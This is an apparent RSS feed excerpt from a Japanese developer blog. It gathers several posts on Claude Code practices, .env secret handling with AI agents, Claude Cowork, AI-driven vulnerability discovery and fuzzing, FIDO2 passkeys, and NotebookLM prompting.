&lt;p&gt;ほとんどのベストプラクティスは 1 つの制約に基づいています。Claude のコンテキストウィンドウはすぐにいっぱいになり、満杯になるにつれてパフォーマンスが低下します。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Claude Code の 200K トークンのコンテキストウィンドウには、すべてのメッセージ、読み取ったファイル、コマンド出力が蓄積されます。コンテキストが埋まるにつれて、初期の指示を「忘れる」、ミスが増えるといった品質低下が起きます。7 つの鉄則のほぼすべてが、この制約への対処法として理解できます。&lt;/p&gt;
&lt;h2 id="7-つの鉄則と公式ガイドの対応"&gt;7 つの鉄則と公式ガイドの対応&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://qiita.com/nogataka/items/392934f79e943e8b9228"&gt;nogataka 氏の Qiita 記事&lt;/a&gt;が提案する 7 つの鉄則を、公式ドキュメントの推奨事項と対応させて整理します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;鉄則&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;公式ガイドの対応セクション&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. 具体的に頼む&lt;/td&gt;
&lt;td&gt;5W1H で指示を明確にする&lt;/td&gt;
&lt;td&gt;プロンプトで具体的なコンテキストを提供する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. 必ず検証する&lt;/td&gt;
&lt;td&gt;diff、テスト、コストの 3 点確認&lt;/td&gt;
&lt;td&gt;Claude に自分の作業を検証する方法を与える&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. CLAUDE.md でルール言語化&lt;/td&gt;
&lt;td&gt;プロジェクト固有の規約を明文化する&lt;/td&gt;
&lt;td&gt;効果的な CLAUDE.md を書く&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4. セッション短く保つ&lt;/td&gt;
&lt;td&gt;1 タスク 1 セッション&lt;/td&gt;
&lt;td&gt;セッションを管理する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5. 計画→実行の 2 段階&lt;/td&gt;
&lt;td&gt;5 分ルールで判断&lt;/td&gt;
&lt;td&gt;最初に探索し、次に計画し、その後コーディングする&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6. コスト意識&lt;/td&gt;
&lt;td&gt;/cost で定期確認&lt;/td&gt;
&lt;td&gt;コンテキストを積極的に管理する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7. 自動化への次ステップ&lt;/td&gt;
&lt;td&gt;Hooks, MCP, Agent Teams&lt;/td&gt;
&lt;td&gt;自動化とスケール&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;7 つの鉄則は、公式ガイドの膨大な内容を実務者が日常的に参照できる形に圧縮したものと位置づけられます。&lt;/p&gt;</description></item><item><title>Claude Code 時代の .env 管理 — 「平文で置かない」秘密情報の新しい守り方</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E6%99%82%E4%BB%A3%E3%81%AE-.env-%E7%AE%A1%E7%90%86-%E5%B9%B3%E6%96%87%E3%81%A7%E7%BD%AE%E3%81%8B%E3%81%AA%E3%81%84%E7%A7%98%E5%AF%86%E6%83%85%E5%A0%B1%E3%81%AE%E6%96%B0%E3%81%97%E3%81%84%E5%AE%88%E3%82%8A%E6%96%B9/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E6%99%82%E4%BB%A3%E3%81%AE-.env-%E7%AE%A1%E7%90%86-%E5%B9%B3%E6%96%87%E3%81%A7%E7%BD%AE%E3%81%8B%E3%81%AA%E3%81%84%E7%A7%98%E5%AF%86%E6%83%85%E5%A0%B1%E3%81%AE%E6%96%B0%E3%81%97%E3%81%84%E5%AE%88%E3%82%8A%E6%96%B9/</guid><description>&lt;h1 id="claude-code-時代の-env-管理--平文で置かない秘密情報の新しい守り方"&gt;Claude Code 時代の .env 管理 — 「平文で置かない」秘密情報の新しい守り方&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/yousukezan/status/2028331225539338571"&gt;@yousukezan 氏のポスト&lt;/a&gt;が、AI 駆動開発における秘密情報管理の盲点を端的に指摘しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claudeが社内に広がるほど、.envが危ない。Cowork時代に必要なのは「便利さ」より秘密情報の置き場所&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元の &lt;a href="https://qiita.com/taketsuyo/items/4e158dbe22bc4c8d4e0d"&gt;Qiita 記事&lt;/a&gt;では、Claude Code や Cowork が「チャットで質問するだけのツール」から「ローカルファイルに直接アクセスする開発エージェント」へ進化したことで、従来の &lt;code&gt;.gitignore&lt;/code&gt; だけでは守りきれない脅威が生まれていると論じています。本記事では、この問題の技術的背景と実践的な対策を掘り下げます。&lt;/p&gt;
&lt;h2 id="何が変わったのか--脅威モデルの転換"&gt;何が変わったのか — 脅威モデルの転換&lt;/h2&gt;
&lt;p&gt;従来の開発ワークフローでは、&lt;code&gt;.env&lt;/code&gt; ファイルの脅威モデルは明確でした。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;脅威&lt;/th&gt;
&lt;th&gt;対策&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Git リポジトリへの混入&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.gitignore&lt;/code&gt; に記載&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本番環境への漏洩&lt;/td&gt;
&lt;td&gt;環境変数やシークレットマネージャで注入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;他人のマシンへの流出&lt;/td&gt;
&lt;td&gt;ローカルに置く前提なので問題なし&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ところが、Claude Code のような AI エージェントがローカルファイルを直接読み書きする時代になると、第三の脅威が加わります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;新しい脅威&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AI エージェントによる読み取り&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.env&lt;/code&gt; がツールの入力コンテキストに載る&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;意図しないクラウド送信&lt;/td&gt;
&lt;td&gt;読み取った内容が LLM の API リクエストに含まれる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;組織内の横展開&lt;/td&gt;
&lt;td&gt;Cowork で複数人が同じプロジェクトを触る際の露出&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;IPA「情報セキュリティ 10 大脅威 2026」でも「AI の利用をめぐるサイバーリスク」が初選出で 3 位にランクインしており、この脅威モデルの転換は業界全体の認識となりつつあります。&lt;/p&gt;
&lt;h2 id="claude-code-は-env-をどう扱うのか"&gt;Claude Code は .env をどう扱うのか&lt;/h2&gt;
&lt;h3 id="自動読み込み問題"&gt;自動読み込み問題&lt;/h3&gt;
&lt;p&gt;セキュリティ研究者 Dor Munis 氏の&lt;a href="https://www.knostic.ai/blog/claude-loads-secrets-without-permission"&gt;調査&lt;/a&gt;によると、Claude Code は &lt;code&gt;.env&lt;/code&gt;、&lt;code&gt;.env.local&lt;/code&gt; などのファイルを自動的に読み込み、API キーやトークンをメモリに展開していることが判明しています。プロキシ認証情報が意図せず読み込まれ、HTTP 407 エラーとプロキシ料金の異常な高騰として問題が顕在化しました。&lt;/p&gt;</description></item><item><title>Claude Cowork 入門ガイド — プロンプトを頑張る時代の終わり、「仕組み化」で AI と働く新しいスタイル</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-%E5%85%A5%E9%96%80%E3%82%AC%E3%82%A4%E3%83%89-%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%82%92%E9%A0%91%E5%BC%B5%E3%82%8B%E6%99%82%E4%BB%A3%E3%81%AE%E7%B5%82%E3%82%8F%E3%82%8A%E4%BB%95%E7%B5%84%E3%81%BF%E5%8C%96%E3%81%A7-ai-%E3%81%A8%E5%83%8D%E3%81%8F%E6%96%B0%E3%81%97%E3%81%84%E3%82%B9%E3%82%BF%E3%82%A4%E3%83%AB/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-%E5%85%A5%E9%96%80%E3%82%AC%E3%82%A4%E3%83%89-%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%82%92%E9%A0%91%E5%BC%B5%E3%82%8B%E6%99%82%E4%BB%A3%E3%81%AE%E7%B5%82%E3%82%8F%E3%82%8A%E4%BB%95%E7%B5%84%E3%81%BF%E5%8C%96%E3%81%A7-ai-%E3%81%A8%E5%83%8D%E3%81%8F%E6%96%B0%E3%81%97%E3%81%84%E3%82%B9%E3%82%BF%E3%82%A4%E3%83%AB/</guid><description>&lt;h1 id="claude-cowork-入門ガイド--プロンプトを頑張る時代の終わり仕組み化で-ai-と働く新しいスタイル"&gt;Claude Cowork 入門ガイド — プロンプトを頑張る時代の終わり、「仕組み化」で AI と働く新しいスタイル&lt;/h1&gt;
&lt;p&gt;長谷川氏（&lt;a href="https://x.com/taichi_we/status/2027666793150767417"&gt;@taichi_we&lt;/a&gt;）が投稿した「Claude Cowork の始め方ガイド」が X 上で大きな反響を呼んでいます。ブックマーク数 14,850、いいね 6,021、閲覧数 300 万超という驚異的な数字です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;プロンプトを頑張る時代は、もう終わりに近い。これから必要なのは、「AIに何を渡せば仕事が進むか」を整えることです。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この記事では、元ポストの内容をベースに、公式ドキュメントや技術解説記事の情報を加えて、Claude Cowork の全体像と実践的な始め方を解説します。&lt;/p&gt;
&lt;h2 id="claude-cowork-とは何か"&gt;Claude Cowork とは何か&lt;/h2&gt;
&lt;p&gt;Claude Cowork は、Anthropic が提供する &lt;strong&gt;非エンジニア向けの自律型 AI エージェント機能&lt;/strong&gt; です。Claude Desktop アプリに統合されており、「Chat」「Code」と並んで「Cowork」タブから利用できます。&lt;/p&gt;
&lt;p&gt;もともと Claude Code はエンジニア向けのコマンドラインツールとして提供されていましたが、ファイル整理やスプレッドシート作成など、コーディング以外の用途にも多く使われていることに Anthropic が気づきました。実際、Claude Code でも業務タスクは十分に実行できます。ただし、ターミナル操作は非エンジニアにとってハードルが高いという課題がありました。Cowork は Claude Code と同等の能力を GUI で包み、誰でもアクセスできるようにしたものです。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;Claude Chat&lt;/th&gt;
&lt;th&gt;Claude Code&lt;/th&gt;
&lt;th&gt;Claude Cowork&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;対象ユーザー&lt;/td&gt;
&lt;td&gt;全般&lt;/td&gt;
&lt;td&gt;開発者中心（だが業務タスクも可能）&lt;/td&gt;
&lt;td&gt;非エンジニアを含む全職種&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;インターフェース&lt;/td&gt;
&lt;td&gt;Web / アプリ&lt;/td&gt;
&lt;td&gt;ターミナル（CLI）&lt;/td&gt;
&lt;td&gt;Desktop アプリ（GUI）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ファイル操作&lt;/td&gt;
&lt;td&gt;アップロード / ダウンロード&lt;/td&gt;
&lt;td&gt;ローカル直接アクセス&lt;/td&gt;
&lt;td&gt;ローカル直接アクセス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自律実行&lt;/td&gt;
&lt;td&gt;なし&lt;/td&gt;
&lt;td&gt;あり&lt;/td&gt;
&lt;td&gt;あり&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;差別化ポイント&lt;/td&gt;
&lt;td&gt;手軽な対話&lt;/td&gt;
&lt;td&gt;Bash 実行、Git 操作、MCP、スキル&lt;/td&gt;
&lt;td&gt;プラグイン、コネクター、スケジュール実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;前提スキル&lt;/td&gt;
&lt;td&gt;不要&lt;/td&gt;
&lt;td&gt;ターミナル操作に慣れている必要あり&lt;/td&gt;
&lt;td&gt;不要&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;本質的な違いは「何ができるか」ではなく「誰がアクセスしやすいか」です。Claude Code でもレポート作成やファイル整理といった業務タスクは問題なくこなせます。Cowork はその能力を、ターミナルに馴染みのないユーザーにも開放したものと考えるのが正確です。&lt;/p&gt;</description></item><item><title>Claude Opus 4.6 がゼロデイ脆弱性を500件発見 — AI推論がセキュリティ業界を揺るがす</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-opus-4.6-%E3%81%8C%E3%82%BC%E3%83%AD%E3%83%87%E3%82%A4%E8%84%86%E5%BC%B1%E6%80%A7%E3%82%92500%E4%BB%B6%E7%99%BA%E8%A6%8B-ai%E6%8E%A8%E8%AB%96%E3%81%8C%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E6%A5%AD%E7%95%8C%E3%82%92%E6%8F%BA%E3%82%8B%E3%81%8C%E3%81%99/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-opus-4.6-%E3%81%8C%E3%82%BC%E3%83%AD%E3%83%87%E3%82%A4%E8%84%86%E5%BC%B1%E6%80%A7%E3%82%92500%E4%BB%B6%E7%99%BA%E8%A6%8B-ai%E6%8E%A8%E8%AB%96%E3%81%8C%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E6%A5%AD%E7%95%8C%E3%82%92%E6%8F%BA%E3%82%8B%E3%81%8C%E3%81%99/</guid><description>&lt;h1 id="claude-opus-46-がゼロデイ脆弱性を500件発見--ai推論がセキュリティ業界を揺るがす"&gt;Claude Opus 4.6 がゼロデイ脆弱性を500件発見 — AI推論がセキュリティ業界を揺るがす&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/neurostack_0001/status/2028426340009959888"&gt;@neurostack_0001 氏のポスト&lt;/a&gt;が、Anthropic の衝撃的な発表を紹介しています。Claude Opus 4.6 が、ファジングやカスタムツールを使わず、コードの推論だけで500件以上のゼロデイ脆弱性を発見したという内容です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AnthropicがClaude Opus 4.6で「ゼロデイ脆弱性を大規模に発見できる」と発表。500件以上の高重大度脆弱性を検出・検証済み。ファジングやカスタムツール不要で、コードの推論だけで脆弱性を見つけている点が注目。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この発表は、CrowdStrike や Cloudflare の株価を8%以上下落させるほどのインパクトを持ちました。セキュリティ業界に何が起きているのか、技術的な背景から掘り下げます。&lt;/p&gt;
&lt;h2 id="ファジングとは何か"&gt;ファジングとは何か&lt;/h2&gt;
&lt;p&gt;ファジング（Fuzzing）は、プログラムに対して無効なデータ、予期しないデータ、ランダムなデータを大量に入力し、クラッシュや異常動作を引き起こすことで脆弱性を検出するテスト手法です。1988年にウィスコンシン大学の Barton Miller 教授が考案し、現在ではセキュリティテストの標準手法となっています。&lt;/p&gt;
&lt;h3 id="ファジングの種類"&gt;ファジングの種類&lt;/h3&gt;
&lt;p&gt;ファジングは、テスト対象の内部構造をどの程度把握しているかによって3つに分類されます。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分類&lt;/th&gt;
&lt;th&gt;内部構造の把握&lt;/th&gt;
&lt;th&gt;特徴&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ブラックボックス&lt;/td&gt;
&lt;td&gt;なし&lt;/td&gt;
&lt;td&gt;入出力のみを観察。実装が不明でも実行可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;グレーボックス&lt;/td&gt;
&lt;td&gt;部分的&lt;/td&gt;
&lt;td&gt;コードカバレッジを計測し、入力生成を最適化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ホワイトボックス&lt;/td&gt;
&lt;td&gt;完全&lt;/td&gt;
&lt;td&gt;ソースコードを解析し、制約条件を満たす入力を生成&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;また、入力データの生成方法でも分類できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ミューテーションファジング&lt;/strong&gt;: 既知の有効な入力（シード）に対して、ビット反転やバイトの挿入・削除・置換などの変異を加えてテストケースを生成します。実装が容易で汎用性が高い手法です&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ジェネレーションファジング&lt;/strong&gt;: 入力データの構造や文法を定義し、仕様に基づいて有効な形式でありながらも不正な値を含むテストケースを生成します。プロトコルやファイルフォーマットのテストに有効です&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="カバレッジガイドファジング--afl-の登場"&gt;カバレッジガイドファジング — AFL の登場&lt;/h3&gt;
&lt;p&gt;2014年に登場した &lt;a href="https://github.com/google/AFL"&gt;AFL（American Fuzzy Lop）&lt;/a&gt;は、ファジングの実用性を大きく向上させました。名前はウサギの品種に由来しています。&lt;/p&gt;
&lt;p&gt;AFL の革新は「カバレッジガイド」の概念です。テスト対象プログラムをインストルメント（計測コードの埋め込み）し、各入力がどの実行経路を通ったかを記録します。新しい経路を発見した入力を優先的にミューテーションすることで、コードの未探索領域へ効率的に到達します。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[シード入力] → [ミューテーション] → [実行・カバレッジ計測]
↑ ↓
└── [新しい経路を発見？] ──┘
Yes → キューに追加
No → 破棄
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;この手法はグレーボックスファジングとも呼ばれ、AFL の後継である AFL++ や Google の libFuzzer など、多くのツールが同様のアプローチを採用しています。&lt;/p&gt;</description></item><item><title>FIDO2 認証（パスキー）の仕組み — パスワードを「構造的に不要にする」技術</title><link>https://hdknr.github.io/blogs/posts/2026/03/fido2-%E8%AA%8D%E8%A8%BC%E3%83%91%E3%82%B9%E3%82%AD%E3%83%BC%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF-%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E3%82%92%E6%A7%8B%E9%80%A0%E7%9A%84%E3%81%AB%E4%B8%8D%E8%A6%81%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/fido2-%E8%AA%8D%E8%A8%BC%E3%83%91%E3%82%B9%E3%82%AD%E3%83%BC%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF-%E3%83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%E3%82%92%E6%A7%8B%E9%80%A0%E7%9A%84%E3%81%AB%E4%B8%8D%E8%A6%81%E3%81%AB%E3%81%99%E3%82%8B%E6%8A%80%E8%A1%93/</guid><description>&lt;h1 id="fido2-認証パスキーの仕組み--パスワードを構造的に不要にする技術"&gt;FIDO2 認証（パスキー）の仕組み — パスワードを「構造的に不要にする」技術&lt;/h1&gt;
&lt;p&gt;サイボウズのバグバウンティで複数年度 1 位の実績を持つセキュリティ研究者 &lt;a href="https://x.com/yousukezan/status/2027925123383366044"&gt;@yousukezan さんのポスト&lt;/a&gt;で紹介されていた、FIDO2 認証（パスキー）の概要記事を深掘りします。元記事は &lt;a href="https://zenn.dev/k_nagano/articles/0fea616a582f01"&gt;Nagano さんの Zenn 記事&lt;/a&gt;です。&lt;/p&gt;
&lt;p&gt;2026 年現在、日本証券業協会がパスキー（FIDO2）の導入を必須化するガイドラインを施行し、楽天証券・SMBC 日興証券などが相次いで導入を進めています。パスキーはもはや「新しい技術」ではなく「必須のインフラ」になりつつあります。&lt;/p&gt;
&lt;h2 id="パスワード認証の根本的な問題"&gt;パスワード認証の根本的な問題&lt;/h2&gt;
&lt;p&gt;パスワード認証には、仕組みそのものに起因する構造的な脆弱性があります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-mermaid" data-lang="mermaid"&gt;graph LR
USER[&amp;#34;ユーザー&amp;#34;] --&amp;gt;|パスワードを送信| SERVER[&amp;#34;サーバー&amp;#34;]
ATTACKER[&amp;#34;攻撃者&amp;#34;] -.-&amp;gt;|盗聴・フィッシング| USER
style USER fill:#3498db,color:#fff
style SERVER fill:#2ecc71,color:#fff
style ATTACKER fill:#e74c3c,color:#fff
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;脅威&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;フィッシング&lt;/td&gt;
&lt;td&gt;偽サイトにパスワードを入力させる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;リスト型攻撃&lt;/td&gt;
&lt;td&gt;漏洩したパスワードを他サービスで試行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中間者攻撃&lt;/td&gt;
&lt;td&gt;通信を傍受してパスワードを盗む&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;サーバー侵害&lt;/td&gt;
&lt;td&gt;サーバーに保存されたパスワードハッシュの漏洩&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これらの問題は「秘密情報（パスワード）をネットワーク経由で送信する」という設計そのものに起因します。ワンタイムパスワード（OTP）でも、この根本構造は変わりません。実際、日本証券業協会は 2025 年 10 月のガイドライン改正で、&lt;strong&gt;OTP の利用を非推奨&lt;/strong&gt;としています。&lt;/p&gt;
&lt;h2 id="fido2-の設計思想--秘密を送らない"&gt;FIDO2 の設計思想 — 「秘密を送らない」&lt;/h2&gt;
&lt;p&gt;FIDO2 は発想を根本から変えました。&lt;strong&gt;秘密情報をネットワーク上に一切流さない&lt;/strong&gt;認証方式です。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code class="language-mermaid" data-lang="mermaid"&gt;graph LR
subgraph デバイス側
USER2[&amp;#34;ユーザー&amp;#34;] --&amp;gt;|生体認証/PIN| AUTH[&amp;#34;認証器&amp;lt;br/&amp;gt;（TPM等）&amp;#34;]
AUTH --&amp;gt;|秘密鍵で署名| SIGNED[&amp;#34;署名データ&amp;#34;]
end
subgraph サーバー側
SIGNED --&amp;gt;|署名のみ送信| VERIFY[&amp;#34;公開鍵で検証&amp;#34;]
end
style USER2 fill:#3498db,color:#fff
style AUTH fill:#f39c12,color:#fff
style SIGNED fill:#9b59b6,color:#fff
style VERIFY fill:#2ecc71,color:#fff
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;パスワード認証では「秘密そのもの」を送信しますが、FIDO2 では「秘密鍵で作った署名」だけを送信します。秘密鍵はデバイス内の安全な領域（TPM、Secure Enclave 等）に保管され、外部に出ることはありません。&lt;/p&gt;</description></item><item><title>NotebookLM に「40 人の天才の思考」をストックする — AI を多角的な思考パートナーに変える方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/notebooklm-%E3%81%AB40-%E4%BA%BA%E3%81%AE%E5%A4%A9%E6%89%8D%E3%81%AE%E6%80%9D%E8%80%83%E3%82%92%E3%82%B9%E3%83%88%E3%83%83%E3%82%AF%E3%81%99%E3%82%8B-ai-%E3%82%92%E5%A4%9A%E8%A7%92%E7%9A%84%E3%81%AA%E6%80%9D%E8%80%83%E3%83%91%E3%83%BC%E3%83%88%E3%83%8A%E3%83%BC%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B%E6%96%B9%E6%B3%95/</link><pubDate>Mon, 02 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/notebooklm-%E3%81%AB40-%E4%BA%BA%E3%81%AE%E5%A4%A9%E6%89%8D%E3%81%AE%E6%80%9D%E8%80%83%E3%82%92%E3%82%B9%E3%83%88%E3%83%83%E3%82%AF%E3%81%99%E3%82%8B-ai-%E3%82%92%E5%A4%9A%E8%A7%92%E7%9A%84%E3%81%AA%E6%80%9D%E8%80%83%E3%83%91%E3%83%BC%E3%83%88%E3%83%8A%E3%83%BC%E3%81%AB%E5%A4%89%E3%81%88%E3%82%8B%E6%96%B9%E6%B3%95/</guid><description>&lt;h1 id="notebooklm-に40-人の天才の思考をストックする--ai-を多角的な思考パートナーに変える方法"&gt;NotebookLM に「40 人の天才の思考」をストックする — AI を多角的な思考パートナーに変える方法&lt;/h1&gt;
&lt;p&gt;「AI に自分の浅い考えしか入力できなくて、薄い回答しか返ってこない」&lt;/p&gt;
&lt;p&gt;この問題に対する解決策が SNS で話題になっています。&lt;a href="https://x.com/ai_jitan/status/2026943427452260525"&gt;@ai_jitan さん&lt;/a&gt; が提案する手法は、&lt;strong&gt;孫子、アドラー、ドラッカーなど 40 人の天才の思考法を NotebookLM にストック&lt;/strong&gt;し、AI を「多角的な思考パートナー」に変えるというものです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://x.com/karasu_ai/status/2027276933449252914"&gt;@karasu_ai さん&lt;/a&gt; も「40 人の天才の思考をプロンプトとしてストックするって発想がすごい」と反応し、大きな反響を呼びました。&lt;/p&gt;
&lt;h2 id="コアアイデア入力の質がai出力の質を決める"&gt;コア・アイデア：入力の質がAI出力の質を決める&lt;/h2&gt;
&lt;h3 id="問題自分の浅い考えがボトルネック"&gt;問題：「自分の浅い考え」がボトルネック&lt;/h3&gt;
&lt;p&gt;AI に質問するとき、多くの人は自分の知識の範囲内で入力を行います。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ユーザー: 「売上を伸ばすにはどうすればいい？」
AI: 「マーケティングを強化しましょう。SNS広告や...」
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;汎用的で薄い回答しか返ってきません。&lt;strong&gt;入力が浅ければ、出力も浅い&lt;/strong&gt;のです。&lt;/p&gt;
&lt;h3 id="解決策天才の思考フレームワークを注入する"&gt;解決策：天才の思考フレームワークを注入する&lt;/h3&gt;
&lt;p&gt;同じ質問でも、複数の偉人の思考法をコンテキストとして与えると：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;孫子（戦略家）: 「敵（競合）を知り己を知れば百戦危うからず。
まず市場と競合の徹底分析から始めよ」
ドラッカー（経営学者）: 「顧客は何に価値を見出しているか？
それを問うことが出発点」
アドラー（心理学者）: 「顧客の劣等感や承認欲求に着目せよ。
人は理想の自分に近づくために消費する」
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;1 つの課題に対して、戦略・経営・心理という 3 つの異なる角度&lt;/strong&gt;からアプローチが得られます。これが「多角的な視点での課題解決」の正体です。&lt;/p&gt;
&lt;h2 id="notebooklm-を使う理由"&gt;NotebookLM を使う理由&lt;/h2&gt;
&lt;h3 id="notebooklm-の特性"&gt;NotebookLM の特性&lt;/h3&gt;
&lt;p&gt;Google が提供する &lt;a href="https://notebooklm.google/"&gt;NotebookLM&lt;/a&gt; は、アップロードした資料（ソース）をもとに回答を生成する AI ツールです。通常の ChatGPT や Claude との決定的な違いは：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ソースに基づいた回答&lt;/strong&gt;: 学習データ全体ではなく、アップロードした資料に基づいて回答する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;引用の透明性&lt;/strong&gt;: 回答の根拠となるソースを明示する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ペルソナカスタマイズ&lt;/strong&gt;: AI の役割や視点を詳細に設定できる（最大 10,000 文字）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="なぜストックが重要か"&gt;なぜ「ストック」が重要か&lt;/h3&gt;
